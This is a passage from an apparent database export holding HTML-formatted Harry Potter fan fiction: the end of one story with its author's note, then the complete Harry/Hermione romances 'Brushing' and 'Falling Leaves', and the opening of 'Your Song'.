class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry held his breath during the seconds that followed.&nbsp; All he could see was his son\'s back and he\ncertainly couldn\'t hear what was being whispered into the boy\'s ear.&nbsp; He had complete faith in the Hat to do the\nright thing...and he\'d be proud of little Harry even if he were placed into\nSlytherin, but he couldn\'t help but hope...</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;GRYFFINDOR!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">There weren\'t any words to express what went through Harry\nthat moment.&nbsp; Happiness seemed too\nsimple.&nbsp; Joy, too much&nbsp; Relief, too harsh.&nbsp; He settled on pride.&nbsp;\nBiased though he might be, he knew the Gryffindor House and he knew,\nbeyond a shadow of a doubt, that little Harry belonged there.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He felt Hermione\'s arms around him and returned the tight\nhug with kiss.&nbsp; Down the Hall a bit,\ntheir son joined the Gryffindor table, receiving handshakes and greetings and a\nquick, manly hug from his older cousin, Bill.&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione studied him.&nbsp;\n&quot;Were you worried?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Not so much,&quot; Harry lifted one shoulder.&nbsp; &quot;I\'m just glad to be here.&nbsp; And to be a part of this.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A slow smile crept onto her curvy lips.&nbsp; She leaned closer to him, bringing her mouth\nclose to his ear as she spoke in the lowest of whispers for a minute.&nbsp; Anyone watching would have seen Harry\nPotter\'s jaw take a comic drop.&nbsp; Just as\nthe Sorting Hat placed Rosalind Williams into Hufflepuff, bringing the ceremony\nto and end, he cried out, &quot;Really?!&quot;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">There was a twittering of laughter.&nbsp; Down the table from him, Dumbledore shook\nhis head, highly amused.&nbsp; &quot;Really,\nHarry.&quot;&nbsp; Winking at his Defense\nprofessor, he stood up and tapped his fork against his goblet.&nbsp; &quot;Welcome to Hogwarts, new and old.&nbsp; To begin the term, I have only two\nannouncements.&nbsp; One being...&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\'s attention was entirely on Hermione as Dumbledore\nspoke.&nbsp; &quot;Are you certain?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She nodded.&nbsp; It had\nbeen so much easier to tell him this time around.&nbsp; &quot;What is it about us, Harry?&nbsp; Put us together in a room and...&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Is it safe?&nbsp; I\nmean...&quot;&nbsp; He touched her chin as he\nwhispered, &quot;Will everything be all right after...&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Madam Pomfrey said everything would be fine just this\nmorning.&quot;&nbsp; Hermione\'s eyes misted\nover.&nbsp; &quot;Her birthday will be in\nApril.&quot;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Her birthday...&quot;&nbsp;\nHe blew out a breath and looked around, nervously.&nbsp; Hagrid winked at him before he glanced back\nat his wife..&nbsp; &quot;I really want to\npick you up and swing you around, but...&quot;&nbsp;\nHe jerked his head towards the students.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione touched his cheek lovingly.&nbsp; &quot;Later.&nbsp; When we tell Harry.&quot;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Refusing to let go of her other hand, Harry forced his\nattention back to the Headmaster.&nbsp; She\nwas right.&nbsp; Things did change.&nbsp; They changed and they moved.&nbsp; Second chances were given.&nbsp; Loss happened, but beginnings were created\nfrom it.&nbsp; And the heart, with all of its\nfire and passion, was an organ capable of withstanding anything.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He found his son in the crowd of Gryffindors.&nbsp; Little Harry grinned and Harry returned the\nsmile with similar enthusiasm.&nbsp; He only\nbroke the stare to turn his eyes up towards the enchanted ceiling.&nbsp; The moon was full that night and the stars\nlooked down on Hogwarts, protecting it as they had for centuries.&nbsp; And he was a part of it all once more.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Dumbledore raised his hands.&nbsp; &quot;Let the feast...begin.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">No, Harry thought.&nbsp;\nLet the journey begin.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">****</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The End</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">****</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Author\'s Notes: And so, after a year and two months, we have\ncome to the end of my very first Harry Potter fan fic. It has been a most\ninteresting ride; for awhile there, I thought I might never finish it. I bet a\nfew of you thought the same thing. But so many of you have stuck with the story\nand written such wonderful reviews. I really can\'t find the words to express my\nthanks, and words are my life. So, I\'ll just say, I appreciated each and every\none of them. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Sequels? I don\'t know. Someone gave me the idea to write a\nprequel. Something like Harry\'s adventures after he left, or the story of Ron\nand Hermione. I don\'t know. I\'d actually like to step out of the world of this\nparticular story and write something new. I have a few ideas; we\'ll see where\nthey go;) </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I had so much fun writing this story. I can\'t even tell you.\nI have a feeling that when the fifth book comes out in June, everything I\'ve\nwritten will be completely overturned;) Lol. And that\'s just the way it goes.\nSo, enjoy the story until then! Cause after that, it will probably be an\nalternate universe. I just have a feeling. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Once more, thank you. Keep writing, keep reading, keep\ndreaming;) </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Kristen Elizabeth</p>\n\n<p class="MsoNormal">January 24, 2003</p>\n\n\n\n\n\n\n'),
	(94, 1, '\n\n\n\n\n\n\n\n<p class="MsoBodyText3" style="text-align:justify;background:white"><b>Brushing</b></p>\n\n<p class="MsoBodyText3" style="background:white"><b>Author:</b> Lady Aeryn<br>\n<b>Author Email:</b> aeryn@thepensieve.net<br>\n<b>Category: </b>Romance/Fluff<br>\n<b>Keywords:</b> Harry, Hermione, H/H, hair brushing<br>\n<b>Spoilers:</b> none<br>\n<b>Rating:</b> PG<br>\n<b>Summary:</b>&nbsp; Fluffy plotless romantic scene somewhere in a future H/Hr\nrelationship.&nbsp; Harry helps Hermione with\nan otherwise mundane task...<br>\n<b>Disclaimer:</b> This story is based on characters and situations created and\nowned by JK Rowling, various publishers including but not limited to Bloomsbury\nBooks, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is\nbeing made and no copyright or trademark infringement is intended.<br>\n<b>Author&#8217;s Note:</b> &nbsp;This is probably\nthe most sugary fic I will ever write; it&#8217;s certainly the most fluffy I&#8217;ve ever\nwritten.&nbsp; Normally I thrive on angst; I\ndon&#8217;t know what came over me when I decided to write this one.</p>\n\n<p class="MsoNormal" style="text-align:justify">____________</p>\n\n<p class="MsoNormal" style="text-align:justify">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:justify">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:justify">&#8220;I love your hair.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:justify">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:justify">She looked up, stopping her brush\nin mid-stroke, smiling back at the mirror&#8217;s reflection of the person standing\nbehind her.&nbsp; She knew he&#8217;d been standing\nthere for a while&#8212;just watching as she set down to her nightly pointless\nroutine of detangling her mad bushy hair enough so that by the time a night&#8217;s\nworth of sleep (or other... &#8216;activities&#8217;) had successfully matted it into a\nmass otherwise unbreakable by brushes Muggle or magical, it would still be\nsemi-manageable in the morning.</p>\n\n<p class="MsoNormal" style="text-align:justify">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:justify">He hadn&#8217;t spoken until now, and she&#8217;d\nnot minded in the slightest&#8212;next to her own unremarkable reflection the messy\nmop of soft black hair and verdant, <i>living</i> eyes punctuating the shy,\nsweet familiar face above the undeniably attractive t-shirt and boxer-clad\nslender form was easily the most beautiful sight she&#8217;d hope to envision&#8212;aside\nfrom seeing the real thing, of course.</p>\n\n<p class="MsoNormal" style="text-align:justify">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:justify">She put the brush down, still\nsmiling.&nbsp; &#8220;You know, you&#8217;ve become quite\na distraction for me lately.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:justify">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:justify">&#8220;Lately?&#8221;&nbsp; He all but leapt forward from the doorframe,\ngrasping another chair and straddling it backwards right behind her in one\nmotion, so his face was now hovering scant millimeters from her\nhalf-covered-by-nightgown shoulder.&nbsp;\n&#8220;You of all people know that distracting you from the mundane\nnecessities of life is an art I&#8217;ve spent years perfecting,&#8221; he added in a mock\nserious tone, that combined with the very close warm breath tickling her ears\nand shoulder, made her giggle.&nbsp; &#8220;It&#8217;s\nonly recently I&#8217;ve been able to do it on a more... personal basis.&#8221;&nbsp; He nuzzled his nose tantalizingly along the\ncurve of her ear, and she fought the near-involuntary urge to drop her\nhairbrush.</p>\n\n<p class="MsoNormal" style="text-align:justify">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:justify">&#8220;And a lovely bit of work you do,\ntoo.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:justify">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:justify">&#8220;Ah, I never consider that\nwork&#8212;keeping you from what needs to be done usually means positive benefits\nlater on for me...&#8221;</p>\n\n<p class="MsoNormal" style="text-align:justify">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:justify">&#8220;Distracting me from the mundane,&#8221;\nshe said with a quirked lip, tracing a finger along the smooth, soft cheek.</p>\n\n<p class="MsoNormal" style="text-align:justify">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:justify">&#8220;Or simply help you avoid it\naltogether.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:justify">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:justify">She grinned.&nbsp; &#8220;That&#8217;s never been a problem.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:justify">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:justify">&#8220;Let me brush your hair.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:justify">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:justify">Her eyebrows went up at the sharp\nconversation turn.</p>\n\n<p class="MsoNormal" style="text-align:justify">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:justify">&#8220;If simply because I love the idea\nof it&#8217;s not enough,&#8221; he explained, &#8220;then consider it part of my saving you from\nmundane tasks.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:justify">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:justify">Her face softened, lips tightening\nin a channeling of resulting emotion that threatened to melt her.&nbsp; That something so familiar could still find\nso many ways to so pleasantly surprise her... she nodded, pressing the brush\ninto his hand, allowing her fingers to linger on his own delicate, Snitch-catching\nones.</p>\n\n<p class="MsoNormal" style="text-align:justify">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:justify">He started at the bottom of her\npast-shoulder-length mane, doing quick short strokes, working the tangles out\nfrom the base&#8212;she wondered where he&#8217;d learned such a thing; certainly his aunt\nhadn&#8217;t taught him.&nbsp; Hermione normally\ngave up too quickly to expend patience on something as time-consuming as this\nmethod of detangling was... but having Harry do it, she found, was a far less\nunpleasant (and apparently more efficient) means of executing it.&nbsp; She suspected a large part of his motives\ncame from him wanting an excuse to spend an extended amount of time with his\nfingers in contact with her hair, and she quite fully encouraged that motive.</p>\n\n<p class="MsoNormal" style="text-align:justify">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:justify">She&#8217;d worn her hair that day\npulled back and wrestled into a large banana clip at the back of her head (a\nquick and easy means of getting it out of her face, which was more convenient\nfor her and Harry said he loved seeing her face uncovered anyway).&nbsp; When she&#8217;d finally gotten it back out, her\nhair had slowly spilled down to her shoulders; she&#8217;d seen Harry emit a tiny\nsigh as he watched her do it and the brown waves take shape, and for the\nthousandth time this year she thanked whatever powers that were out there for\nher being able to fall for him.&nbsp; Him,\nand not some other, not as sensitive and noble and unconditionally caring as\nhe, and that he&#8217;d done the same for her.</p>\n\n<p class="MsoNormal" style="text-align:justify">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:justify">Though in her opinion, of the two\nof them, she&#8217;d gotten the better deal by far.</p>\n\n<p class="MsoNormal" style="text-align:justify">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:justify">Sod the Mirror of\nErised&#8212;everything she&#8217;d ever have wanted then she could see in this perfectly\nordinary Muggle vanity mirror right in front of her.&nbsp; As Harry&#8217;s nimble hands&#8212;so eloquent at more things than just\nQuidditch&#8212;wove their way in concert with the otherwise clunky hairbrush through\nher hair, it felt positively silky, not ratty and bushy.&nbsp; She could feel his fingers slide through it\nas if there were no tangles in it at all.&nbsp;\nShe could only think of one other task where he did that; she felt her\nface warm.</p>\n\n<p class="MsoNormal" style="text-align:justify">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:justify">He was definitely brushing her\nhair every night from now on.</p>\n\n<p class="MsoNormal" style="text-align:justify">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:justify">&#8220;You know,&#8221; she lied after several\nminutes, &#8220;you&#8217;re the one having all the fun here.&nbsp; When can I mess up your hair, too?&#8221;</p>\n\n<p class="MsoNormal" style="text-align:justify">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:justify">&#8220;I am <i>not</i> messing it up.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:justify">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:justify">&#8220;No, but the sooner I get you\nannoyed the sooner we can stop and get on to something where I <i>do</i> get to\nlet my fingers have a little fun with <i>your</i> hair.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:justify">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:justify">&#8220;Really?&#8221;</p>\n\n<p class="MsoNormal" style="text-align:justify">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:justify">&#8220;Well, eventually.&nbsp; Honestly... I can&#8217;t think of another place\nI&#8217;d want to be right now.&#8221;&nbsp; Stroke, then\nfingers, then stroke again... Hermione found herself closing her eyes and\nleaning into the rhythm of his hands, the back of her head leaning against the\ngentle thrumming pulse in his chest.&nbsp;\nHarry didn&#8217;t stop what he was doing, but merely shifted his brush/hand\nmovements to the sides of her head, working there... and then, placing his lips\nsoftly on her crown, right on the perfectly straight white part line... holding\nit there.</p>\n\n<p class="MsoNormal" style="text-align:justify">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:justify">&#8220;I love you so much,&#8221; he murmured\ninto her hair, resting his chin against the back of her head, holding it in\nplace with the hair-entwined fingers that were no longer aiding the brush in\nits duty.&nbsp; (Hermione couldn&#8217;t see it,\nnor particularly cared, but knew the brush was lying forgotten somewhere, and\ndefinitely wouldn&#8217;t be found before tomorrow morning.)&nbsp; She felt her chair being turned around, then\nherself being lifted with feathery gentleness into Harry&#8217;s lap.&nbsp; She opened her eyes, looping her arms around\nhis neck, finally getting her chance to do <i>her</i> own playing with his\nhair.</p>\n\n<p class="MsoNormal" style="text-align:justify">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:justify">&#8220;I take it this means the hair\nbrushing is over?&#8221; she asked, pouting her lower lip out and leaning her\nforehead against his, seeing nothing but a pair of green eyes that had\nefficiently trapped her own, as always.&nbsp;\nHe lifted her from the chair and deposited them both on the bed in\nanother fluid motion (which certainly wouldn\'t be his last of the evening).&nbsp; They spent a moment silently spooned against\none another, foreheads still in contact, both fingering segments of one\nanother&#8217;s hair.</p>\n\n<p class="MsoNormal" style="text-align:justify">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:justify">&#8220;Always the smart girl,&#8221; Harry\ngrinned, as Hermione removed his glasses and set them on the bedside table, and\nthen for some time after that, hair was only a small part of a larger, more\ndetailed issue.</p>\n\n<p class="MsoNormal" style="text-align:justify">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:justify">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:justify">^^^^^^^^^^^^^</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n'),
	(95, 1, '\n\n\n\n\n\n\n\n<p class="MsoNormal"><b>DISCLAIMER:</b> This story is based on characters and\nsituations created and owned by JK Rowling, various publishers including but\nnot limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and\nWarner Bros., Inc. No money is being made and no copyright or trademark\ninfringement is intended.</p>\n\n<p class="MsoTitle">&nbsp;</p>\n\n<center><b>Falling Leaves</b></center>\n\n<p class="MsoTitle">&nbsp;</p>\n\n<p class="MsoNormal">Ever watch an\nautumn leaf falling? How can such a fragile thing, one that shatters into a\nmillion fragments at the slightest touch, allow itself to be buffeted by the\nchill winds of approaching winter? Easily, it turns out. Once the breeze has\nconvinced the leaf to leave the safety of its tree with its gentle caresses,\nthe leaf succumbs gracefully, even happily, to the wind&#8217;s will, following its\ncurrents wherever they will take it.</p>\n\n<p class="MsoNormal">That&#8217;s what falling\nin love is like &#8211; allowing your fragile heart to be given up completely to the\ntorrents of emotion that threaten to drown it. How do I know? Well, I&#8217;ll let\nyou in on a little secret. You see, I&#8217;m in love with my best friend.</p>\n\n<p class="MsoNormal">You might wonder\nwhy this is such a problem. And you would be absolutely correct in doing so if\nthis were a normal situation. However, you don&#8217;t know my friend.</p>\n\n<p class="MsoNormal">Actually, come to\nthink of it, you probably do know him. Does the name Harry Potter ring a bell\nto you? I thought it would - he&#8217;s only the most famous wizard in the world. You\nknow, <i>that</i> Harry Potter, the one who single-handedly vanquished\nYou-Know-Who when he was only one year old, then turned around and dueled with\nhim as a fourth-year (a fourth-year!) at Hogwarts to win the Tri-Wizard\nTournament, then turned around again and finally defeated him for good at the\nend of his sixth year, just a few months ago. Oh, and did I forget to mention\nthat he&#8217;s lined up to be the star Seeker for the English National Quidditch\nTeam after graduation?</p>\n\n<p class="MsoNormal">As much as you\nthink you know Harry, though, you really don&#8217;t. Yes, he&#8217;s brave and selfless\nand kind, just like they say in the <i>Daily Prophet</i>, but that&#8217;s not even\nthe start of it. I would have been surprised if, after having been locked in a\ncupboard for almost his entire childhood by those horrid Muggle Dursleys, he\nhad turned out half as well as he did. And he would do anything, absolutely\nanything, to protect the friends who showed him that there really are people in\nthe world who care.</p>\n\n<p class="MsoNormal">His friends...\nWell, first, there&#8217;s Hagrid, the gentle half-giant who pulled him out of the\nhellhole that was Number 4 Privet Drive. Then Ron and the rest of the Weasleys,\nhis surrogate family. And Dumbledore, a grandfatherly-figure to all of us. And\nSirius and Remus, who keep his parents&#8217; spirits alive.</p>\n\n<p class="MsoNormal">And then there&#8217;s\nme, Hermione Granger, bookworm extraordinaire. You&#8217;re probably thinking, &#8220;How\ndid she get on this list?&#8221; And honestly, I don&#8217;t really know myself. I guess\nit&#8217;s all Ron&#8217;s &#8220;fault,&#8221; actually. If he hadn&#8217;t insulted me way back in first\nyear, and I hadn&#8217;t locked myself in the girls&#8217; bathroom, and Harry (who was\nalready friends with Ron at the time) hadn&#8217;t remembered where I was when\nProfessor Quirrell let a troll loose in the school, then I would either be dead\nor sitting content inside a fortress of books right now, oblivious to the rest\nof the world and still wondering what the Sorting Hat was thinking when it put\nme in Gryffindor. That incident, though, cemented a friendship that has not just\nlasted, but grown stronger, through thick and thin.</p>\n\n<p class="MsoNormal">If you consider Ron\nto be Harry&#8217;s brother, then I guess that makes me the sister he never had. I\nworry and fuss over him, doctor him up when he&#8217;s hurt, help him with his\nhomework, and encourage him when he&#8217;s feeling blue. And he does the same for me\n- I would probably be holed up studying for the NEWTs right now if he hadn&#8217;t\ndragged me out here to get a breath of fresh air.</p>\n\n<p class="MsoNormal">It&#8217;s that smile of\nhis that finally got me to cave in this time. Whenever he&#8217;s happy, truly happy,\nwhich unfortunately doesn&#8217;t happen often enough, or even just plotting\nsomething, like pulling me away from my books, his face just lights up and his\ngoofy grin spreads all the way from one ear to the other. I just can&#8217;t resist\ngiving in to it, especially when his eyes are sparkling like emeralds at the\nsame time. The effect is completely disarming.</p>\n\n<p class="MsoNormal">Even without that\nsmile, though, he&#8217;s a veritable girl magnet. Famous, rich, and dead sexy all\nrolled into one highly eligible package. Eligible? Yes, I daresay, and quite\nso. The girls fall all over him, and he&#8217;s been out on his fair share of\nHogsmeade dates, but he&#8217;s confided to me that none of them have ever even tried\nto look past the &#8220;dashing hero&#8221; persona the world has created for him to see\nthe real person behind it. And Ron, ever the ladies&#8217; Weasley, is happy enough\nto get all of these Harry-rejects; in fact, he&#8217;s with one of them right now.</p>\n\n<p class="MsoNormal">Whichever one of\nthese girls Harry eventually falls for, though, certainly won&#8217;t be me. Like I\nsaid before, I&#8217;m Harry&#8217;s &#8220;sister,&#8221; and guys don&#8217;t fall in love with their\nsisters. So I&#8217;ll just have to be content with the beautiful friendship that we\nhave now, the companionable silence of mutual understanding and caring that we\nenjoy as we sit next to, but not touching, each other at the edge of the lake\nand watch the last leaves of autumn fall.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">***************</p>\n\n<p class="MsoNormal">It&#8217;s Harry who\nfinally breaks the silence.</p>\n\n<p class="MsoNormal">&#8220;A Galleon for your\nthoughts, &#8216;Mione.&#8221;</p>\n\n<p class="MsoNormal">I glare at him for\na moment (can he read my mind?) before turning back to the lake. &#8220;They aren&#8217;t\nworth that much, Harry.&#8221;</p>\n\n<p class="MsoNormal">I can feel his eyes\nscrutinize me. &#8220;They are to me. Besides, you&#8217;re changing the subject.&#8221;</p>\n\n<p class="MsoNormal">&#8220;Oh, I was just\nthinking about the NEWTs again,&#8221; I lie quickly. &#8220;Nothing earth-shattering.&#8221;</p>\n\n<p class="MsoNormal">&#8220;I would hope not.\nYou want to know what I was thinking about?&#8221;</p>\n\n<p class="MsoNormal">My interest piqued,\nI turn to look at him. &#8220;Not Quidditch again, I hope.&#8221;</p>\n\n<p class="MsoNormal">He laughs. It&#8217;s so\ngood to hear him laugh after all he&#8217;s been through. &#8220;Amazingly, no. Actually, I\nwas thinking...well, I was wondering what it feels like to be in love.&#8221;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s like one of\nthose leaves.&#8221; I can&#8217;t stop myself from blurting it out; he&#8217;s looking at me\nquizzically now, as if I&#8217;ve gone nuts, which I probably have. I have no choice\nbut to continue. &#8220;You have no control anymore, but you&#8217;re fine with it, even\nglad to give yourself up completely.&#8221;</p>\n\n<p class="MsoNormal">He nods as he turns\nback to the lake. &#8220;Sounds like you have personal experience. Who&#8217;s the lucky\nguy?&#8221;</p>\n\n<p class="MsoNormal">I can&#8217;t lie, not to\nHarry, but I don&#8217;t have to tell the complete truth, either. &#8220;He doesn&#8217;t know,\nbut I don&#8217;t think he likes me back.&#8221;</p>\n\n<p class="MsoNormal">&#8220;Oh.&#8221; Is that a\nhint of disappointment in his voice? No, I must be imagining things.</p>\n\n<p class="MsoNormal">He&#8217;s turned to\nsmile at me now, though. &#8220;Well, if he breaks your heart, then I promise he\nwon&#8217;t know what hit him the next morning.&#8221; Yup, there&#8217;s a brother for you.</p>\n\n<p class="MsoNormal">&#8220;Thanks, Harry, but\nyou really don&#8217;t need to look out for me.&#8221;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s what best\nfriends are for.&#8221;</p>\n\n<p class="MsoNormal">I gulp; it&#8217;s not\nlike Harry to be sentimental. That&#8217;s usually my job. Besides... &#8220;I thought Ron\nwas your best friend.&#8221;</p>\n\n<p class="MsoNormal">He grins again; how\ncan he think this is funny? &#8220;Can&#8217;t a guy have more than one best friend?&#8221;</p>\n\n<p class="MsoNormal">Now I&#8217;m officially\nin shock. I&#8217;ll just have to do my best to hide it. Plus, I&#8217;m still curious.\n&#8220;Point taken. By the way, why were you thinking about love in the first place?&#8221;</p>\n\n<p class="MsoNormal">&#8220;Well, I&#8217;ve been\nhaving these feelings about this one girl for some time now, and based on what\nyou&#8217;ve told me, I think she really is &#8216;the one&#8217; that everyone&#8217;s always looking\nfor.&#8221;</p>\n\n<p class="MsoNormal"><i>Crack!</i> There goes my heart. At least Harry has a\nchance at happiness, though. If anyone deserves it, it&#8217;s him.</p>\n\n<p class="MsoNormal">&#8220;I just found out\nshe had her heart set on someone else, though.&#8221;</p>\n\n<p class="MsoNormal">Did I say I was in\nshock before? Well, sod that. Harry&#8217;s looking at me now with big puppy-dog\neyes. He <i>likes</i> me. He thinks he&#8217;s <i>in love</i> with me. And I&#8217;ve led\nhim to believe that his feelings would never be returned. I&#8217;ve hurt him. I feel\nlike the worst person in the world right now.</p>\n\n<p class="MsoNormal">I look at him\nagain; his heart&#8217;s written all over his face, but his eyes won&#8217;t meet mine.</p>\n\n<p class="MsoNormal">&#8220;Harry.&#8221; He turns\naway from me. Darn it, I have to fix this mess. &#8220;There&#8217;s something I didn&#8217;t\nmention before that I should have said.&#8221; He&#8217;s still not looking at me; I don&#8217;t\nknow if he&#8217;s listening or not, but I&#8217;ve got to keep going. &#8220;You were asking me\nwho the lucky guy was, and I didn&#8217;t really answer you. Because...well, it&#8217;s\nyou.&#8221;</p>\n\n<p class="MsoNormal">He finally looks at\nme again. Our eyes lock, my brown with his green; they&#8217;re practically shining\nwith joy. A smile plays about his lips. &#8220;Really?&#8221;</p>\n\n<p class="MsoNormal">He wants confirmation,\nand I don&#8217;t blame him. &#8220;Yeah. Really.&#8221;</p>\n\n<p class="MsoNormal">His mouth breaks\nout into a full grin now. &#8220;Then I guess we&#8217;re not just best friends anymore.&#8221;</p>\n\n<p class="MsoNormal">I can&#8217;t help but\nsmile, too. &#8220;No, I guess not.&#8221;</p>\n\n<p class="MsoNormal">His face has been\ninching closer to mine. I&#8217;ve been holding my breath; I breathe in now and catch\na whiff of pine and mint - Harry&#8217;s scent. He&#8217;s going to kiss me; I close my\neyes in anticipation...</p>\n\n<p class="MsoNormal">...and our noses\nbump together.</p>\n\n<p class="MsoNormal">I fall back,\ngiggling. I can&#8217;t help it - so much for a perfect first kiss. The, suddenly,\nhis lips are on mine. My whole body is on fire; I can&#8217;t get enough of his\ntouch. My hands travel up to run through his hair, while his move to hold me\ngently at my waist. I could stay like this forever; it feels so right.</p>\n\n<p class="MsoNormal">Finally, though, we\nhave to break apart for air. I lean my head on his shoulder as he whispers in\nmy ear.</p>\n\n<p class="MsoNormal">&#8220;I love you,\nHermione.&#8221;</p>\n\n<p class="MsoNormal">&#8220;I love you, too,\nHarry,&#8221; I murmur as the last autumn leaves fall around us.</p>\n\n\n\n\n\n\n'),
	(98, 1, '\n\n\n\n<p class="MsoNormal"><b>DISCLAIMER:</b> This story is based on characters and\nsituations created and owned by JK Rowling, various publishers including but\nnot limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and\nWarner Bros., Inc. No money is being made and no copyright or trademark\ninfringement is intended. &#8220;Your Song&#8221; belongs to Sir Elton John. Go find a copy\nto download and listen to when you get to the end.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<center><b>Your Song</b></center>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The\nHogwarts library &#8211; with its mountains of dusty tomes and plentitude of\nluxurious chairs, it was a paradise for Ravenclaws and others of a literary\npersuasion, especially on weekends. However, on one particular Saturday, this\nwasn&#8217;t the case for Head Girl Hermione Granger, who usually preferred a good\nbook to even eating and sleeping. How could you tell she wasn&#8217;t studying? Well,\nfor one, she hadn&#8217;t turned a page in the book she was holding for over an hour.\nAlso, she was holding it upside down.</p>\n\n<p class="MsoNormal">No,\nHermione&#8217;s thoughts were not occupied by her latest re-reading of <i>Hogwarts:\nA History</i>. Instead, a certain emerald-eyed best friend of hers would not\nleave them be.</p>\n\n<p class="MsoNormal">She had\nhad one of those dreams again, the ones she&#8217;d been having on and off since the\nend of fourth year, about that best friend. No matter how hard she tried, she\njust couldn&#8217;t stop pondering how his unruly yet fine black hair would feel as\nshe ran her hands through it, or whether his lips... <i>Stop it, girl</i>, she\nmentally chided herself. <i>Harry&#8217;ll never see you as more than his bookish\nfriend. Besides, he&#8217;s probably still pining after Cho.</i></p>\n\n<p class="MsoNormal">Hermione\nwas so deep into her reverie, however, that she couldn&#8217;t help but jump when a\nvoice rudely whispered behind her.</p>\n\n<p class="MsoNormal">&#8220;Well, if\nit isn&#8217;t the ugly Mudblood, trying to study...or is your boyfriend Potty going\nto keep you from passing your N.E.W.Ts?&#8221;</p>\n\n<p class="MsoNormal">Hermione\ninvoluntarily gasped as she turned to face a boy her own age, with\nplatinum-blond hair and a smirk playing about his lips. &#8220;And what would you know,\nMalfoy?&#8221;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s\nquite obvious, actually, especially if you insist on staring at him all through\nPotions class and the 